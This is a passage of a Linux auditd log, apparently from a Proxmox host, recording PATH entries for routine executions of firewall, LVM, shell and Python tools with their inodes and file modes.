cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885953,"@rawstring":"node=pve type=PATH msg=audit(1781964885.953:63065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885953,"@rawstring":"node=pve type=PATH msg=audit(1781964885.953:63065): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885948,"@rawstring":"node=pve type=PATH msg=audit(1781964885.948:63064): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885948,"@rawstring":"node=pve type=PATH msg=audit(1781964885.948:63064): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885944,"@rawstring":"node=pve type=PATH msg=audit(1781964885.944:63063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885944,"@rawstring":"node=pve type=PATH msg=audit(1781964885.944:63063): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885938,"@rawstring":"node=pve type=PATH msg=audit(1781964885.938:63062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885938,"@rawstring":"node=pve type=PATH msg=audit(1781964885.938:63062): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885932,"@rawstring":"node=pve type=PATH msg=audit(1781964885.932:63061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885932,"@rawstring":"node=pve type=PATH msg=audit(1781964885.932:63061): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885929,"@rawstring":"node=pve type=PATH msg=audit(1781964885.929:63060): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885929,"@rawstring":"node=pve type=PATH msg=audit(1781964885.929:63060): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885925,"@rawstring":"node=pve type=PATH msg=audit(1781964885.925:63059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885925,"@rawstring":"node=pve type=PATH msg=audit(1781964885.925:63059): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=PATH msg=audit(1781964885.924:63058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=PATH msg=audit(1781964885.924:63058): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=PATH msg=audit(1781964885.924:63057): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=PATH msg=audit(1781964885.920:63056): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=PATH msg=audit(1781964885.920:63056): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=PATH msg=audit(1781964885.920:63056): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885914,"@rawstring":"node=pve type=PATH msg=audit(1781964885.914:63055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885914,"@rawstring":"node=pve type=PATH msg=audit(1781964885.914:63055): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885908,"@rawstring":"node=pve type=PATH msg=audit(1781964885.908:63054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885908,"@rawstring":"node=pve type=PATH msg=audit(1781964885.908:63054): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885904,"@rawstring":"node=pve type=PATH msg=audit(1781964885.904:63053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885904,"@rawstring":"node=pve type=PATH msg=audit(1781964885.904:63053): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885898,"@rawstring":"node=pve type=PATH msg=audit(1781964885.898:63052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885898,"@rawstring":"node=pve type=PATH msg=audit(1781964885.898:63052): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885892,"@rawstring":"node=pve type=PATH msg=audit(1781964885.892:63051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885892,"@rawstring":"node=pve type=PATH msg=audit(1781964885.892:63051): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884853,"@rawstring":"node=pve type=PATH msg=audit(1781964884.853:63050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884853,"@rawstring":"node=pve type=PATH msg=audit(1781964884.853:63050): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884824,"@rawstring":"node=pve type=PATH msg=audit(1781964884.824:63049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884824,"@rawstring":"node=pve type=PATH msg=audit(1781964884.824:63049): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883667,"@rawstring":"node=pve type=PATH msg=audit(1781964883.667:63048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883667,"@rawstring":"node=pve type=PATH msg=audit(1781964883.667:63048): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883597,"@rawstring":"node=pve type=PATH msg=audit(1781964883.597:63047): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883597,"@rawstring":"node=pve type=PATH msg=audit(1781964883.597:63047): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883596,"@rawstring":"node=pve type=PATH msg=audit(1781964883.596:63046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883596,"@rawstring":"node=pve type=PATH msg=audit(1781964883.596:63046): item=0 name=\"/usr/bin/nohup\" inode=260841 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883568,"@rawstring":"node=pve type=PATH msg=audit(1781964883.568:63045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883568,"@rawstring":"node=pve type=PATH msg=audit(1781964883.568:63045): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PATH msg=audit(1781964880.999:63044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PATH msg=audit(1781964880.999:63044): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PATH msg=audit(1781964880.999:63043): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PATH msg=audit(1781964880.999:63042): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PATH msg=audit(1781964880.981:63041): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PATH msg=audit(1781964880.981:63041): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PATH msg=audit(1781964880.981:63040): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PATH msg=audit(1781964880.981:63039): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879990,"@rawstring":"node=pve type=PATH msg=audit(1781964879.990:63038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879990,"@rawstring":"node=pve type=PATH msg=audit(1781964879.990:63038): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879989,"@rawstring":"node=pve type=PATH msg=audit(1781964879.989:63037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879989,"@rawstring":"node=pve type=PATH msg=audit(1781964879.989:63037): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879987,"@rawstring":"node=pve type=PATH msg=audit(1781964879.987:63036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879987,"@rawstring":"node=pve type=PATH msg=audit(1781964879.987:63036): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879031,"@rawstring":"node=pve type=PATH msg=audit(1781964879.031:63035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879031,"@rawstring":"node=pve type=PATH msg=audit(1781964879.031:63035): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964878239,"@rawstring":"node=pve type=PATH msg=audit(1781964878.239:63034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964878239,"@rawstring":"node=pve type=PATH msg=audit(1781964878.239:63034): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964877444,"@rawstring":"node=pve type=PATH msg=audit(1781964877.444:63033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964877444,"@rawstring":"node=pve type=PATH msg=audit(1781964877.444:63033): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964876643,"@rawstring":"node=pve type=PATH msg=audit(1781964876.643:63032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964876643,"@rawstring":"node=pve type=PATH msg=audit(1781964876.643:63032): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PATH msg=audit(1781964875.975:63031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PATH msg=audit(1781964875.975:63031): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PATH msg=audit(1781964875.975:63030): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PATH msg=audit(1781964875.975:63029): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PATH msg=audit(1781964875.963:63028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PATH msg=audit(1781964875.963:63028): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PATH msg=audit(1781964875.963:63027): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PATH msg=audit(1781964875.963:63026): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875881,"@rawstring":"node=pve type=PATH msg=audit(1781964875.881:63025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875881,"@rawstring":"node=pve type=PATH msg=audit(1781964875.881:63025): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875878,"@rawstring":"node=pve type=PATH msg=audit(1781964875.878:63024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875878,"@rawstring":"node=pve type=PATH msg=audit(1781964875.878:63024): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=PATH msg=audit(1781964875.877:63023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=PATH msg=audit(1781964875.877:63023): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=PATH msg=audit(1781964875.877:63022): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=PATH msg=audit(1781964875.873:63021): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=PATH msg=audit(1781964875.873:63021): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=PATH msg=audit(1781964875.873:63021): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875867,"@rawstring":"node=pve type=PATH msg=audit(1781964875.867:63020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875867,"@rawstring":"node=pve type=PATH msg=audit(1781964875.867:63020): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875861,"@rawstring":"node=pve type=PATH msg=audit(1781964875.861:63019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875861,"@rawstring":"node=pve type=PATH msg=audit(1781964875.861:63019): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875853,"@rawstring":"node=pve type=PATH msg=audit(1781964875.853:63018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875853,"@rawstring":"node=pve type=PATH msg=audit(1781964875.853:63018): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875844,"@rawstring":"node=pve type=PATH msg=audit(1781964875.844:63017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875844,"@rawstring":"node=pve type=PATH msg=audit(1781964875.844:63017): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875839,"@rawstring":"node=pve type=PATH msg=audit(1781964875.839:63015): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875839,"@rawstring":"node=pve type=PATH msg=audit(1781964875.839:63015): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875836,"@rawstring":"node=pve type=PATH msg=audit(1781964875.836:63014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875836,"@rawstring":"node=pve type=PATH msg=audit(1781964875.836:63014): item=0 name=\"/usr/bin/python3\" inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875833,"@rawstring":"node=pve type=PATH msg=audit(1781964875.833:63013): item=1 